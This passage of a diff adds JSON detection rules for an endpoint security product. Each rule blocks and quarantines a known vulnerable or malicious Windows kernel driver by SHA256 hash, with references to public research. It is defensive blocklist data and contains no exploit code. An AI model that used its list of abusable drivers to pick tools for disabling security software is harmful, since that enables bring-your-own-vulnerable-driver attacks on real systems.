+  "creation_date": "2026-03-23T11:45:30.825016Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825024Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a2f4063726beaee7aab5e288c678dc70aea2696306a324e0d554b6e0a145b4a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "36e52b6e-8328-53cc-b48e-123c75c609dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967604Z",
+  "creation_date": "2026-03-23T11:45:29.967606Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967611Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f08ebddc11aefcb46082c239f8d97ceea247d846e22c4bcdd72af75c1cbc6b0b",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "36e92001-e69c-55c7-8498-bc38ba0c992c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142148Z",
+  "creation_date": "2026-03-23T11:45:31.142150Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142156Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab21cd0feaa710e46f1cc7dfa86a803fb001a561dd68b139018eeab2b3b25cd8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3707775e-d6c7-5e75-bfdb-184d07a0a6a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455080Z",
+  "creation_date": "2026-03-23T11:45:30.455083Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455092Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "24ea733bae1b8722841fb4c6cead93c4c4f0b1248ca9a21601b1ce6b95b06864",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "370a6b67-0ac3-57c4-b8d0-d9bb57689976",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619541Z",
+  "creation_date": "2026-03-23T11:45:29.619543Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619548Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c628cda1ef43defc00af45b79949675a8422490d32b080b3a8bb9434242bdbf2",
+  "comment": "Insyde Software dangerous update tool (aka segwindrvx64.sys) [https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Program%3AWin32%2FVulnInsydeDriver.A&threatid=258247] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "370e9dad-4f64-529e-a071-9ea11e76cb1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480174Z",
+  "creation_date": "2026-03-23T11:45:31.480178Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480187Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "292428ea5c9a276d51c59c63ab0b58b78736bc0e53fc195a959f51b110742dc9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "372b3d73-4409-5794-9830-79459e843f7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620999Z",
+  "creation_date": "2026-03-23T11:45:29.621001Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621006Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4db1e0fdc9e6cefeb1d588668ea6161a977c372d841e7b87098cf90aa679abfb",
+  "comment": "Phoenix Technologies Vulnerable Physmem drivers (aka Agent64.sys) [https://www.loldrivers.io/drivers/5943b267-64f3-40d4-8669-354f23dec122/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37325ccb-1daf-5bae-b21f-310e53290bb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970071Z",
+  "creation_date": "2026-03-23T11:45:29.970073Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970079Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62b89fab85cf77b1e6730d2b55b4f9458f368f89d3ca5672d450e3c3365d8c37",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "373884c0-fbb0-5934-b3ef-d21ef26bb689",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983281Z",
+  "creation_date": "2026-03-23T11:45:29.983283Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983289Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7bacb353363cc29f7f3815a9d01e85cd86202d92378d1ab1b11df1ab2f42f40a",
+  "comment": "Vulnerable Kernel Driver (aka DBUtilDrv2.sys) [https://www.loldrivers.io/drivers/bb808089-5857-4df2-8998-753a7106cb44/,https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "373c04ad-70d8-57b0-b541-133c3d0c3a32",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820540Z",
+  "creation_date": "2026-03-23T11:45:31.820544Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820552Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ba82355d4238272001bbe1173a2217224093e048f37b0c1838e81cd0128a737c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "374559fe-5988-5068-8252-1cc2bb02339a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622054Z",
+  "creation_date": "2026-03-23T11:45:29.622055Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622061Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ed302ea33feb557b879f64c4b7835947a9ca31054573e1487f5bbc38449753ff",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37782778-bde9-50c7-923e-0bf8b182f9c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975769Z",
+  "creation_date": "2026-03-23T11:45:29.975771Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975776Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14ec631a3cff171b86e2b0279c8db436cb88ec705c517bd82a964e2c59def92f",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "377af8d5-feee-558c-b96c-6e2e78deaa06",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142987Z",
+  "creation_date": "2026-03-23T11:45:32.142989Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142995Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c1a4ca2cbac9fe5954763a20aeb82da9b10d028824f42fff071503dcbe15856",
+  "comment": "Vulnerable TfSysMon driver from ThreatFire System Monitor (2013) (aka TfSysMon.sys) [https://github.com/BlackSnufkin/BYOVD/tree/main/TfSysMon-Killer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "378073ef-2346-5362-9e5f-469caad4f94c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143545Z",
+  "creation_date": "2026-03-23T11:45:31.143547Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143552Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d79182bf82e2e3d3834945811c0f159c16b5ee941803f43fc7c069096a1ddd1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37843c92-6c79-5b95-9cac-ee9f5a39fd07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828543Z",
+  "creation_date": "2026-03-23T11:45:30.828545Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828550Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c1a422e8f958e2e2152b8aed18a1723349edcc16b5deed97a320786f98b4e51",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "378a9817-754b-5195-877d-a0da37e11a58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469689Z",
+  "creation_date": "2026-03-23T11:45:30.469692Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469701Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b8401cefd1dbfb754fe00b513784110836c8e938a40cc606903f46503af2943",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37abd82b-fa28-580d-8afc-bb20c4956730",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.158841Z",
+  "creation_date": "2026-03-23T11:45:31.158843Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.158848Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3a5a443fde50b91739c8d9a321bd9f0bc4cb556f5d64b4cb9fc8a58104a06f5d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37ad9827-2a58-5dc3-8b60-46d53cdaa54a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458108Z",
+  "creation_date": "2026-03-23T11:45:30.458111Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458120Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1675eedd4c7f2ec47002d623bb4ec689ca9683020e0fdb0729a9047c8fb953dd",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37b51c6c-3a30-573a-8492-7af9c9514140",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816397Z",
+  "creation_date": "2026-03-23T11:45:30.816399Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816405Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1748436f8e9c251b2c0d1a33499a1aa1a06ae961e1c9911e8c172fe297ab1feb",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37b6a762-1299-5132-9788-5378fc577a2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972142Z",
+  "creation_date": "2026-03-23T11:45:29.972144Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972150Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f877296e8506e6a1acbdacdc5085b18c6842320a2775a329d286bac796f08d54",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37b8b19f-dc76-5f3e-bfb9-09e21b0c16cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472866Z",
+  "creation_date": "2026-03-23T11:45:31.472869Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472903Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a26b2ea38eb4e794341933fed73cea751c923808145168656c2b809c774b46b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37b92abb-91a0-55dd-8c5a-818169eaaa1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152288Z",
+  "creation_date": "2026-03-23T11:45:31.152291Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152299Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "787b3225d73c10a46d08c512793250493cb58fe1252e5f0a226b115a35549111",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37b9a0bc-57b3-587e-a5ef-93bdc9b94df1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141885Z",
+  "creation_date": "2026-03-23T11:45:31.141887Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141892Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
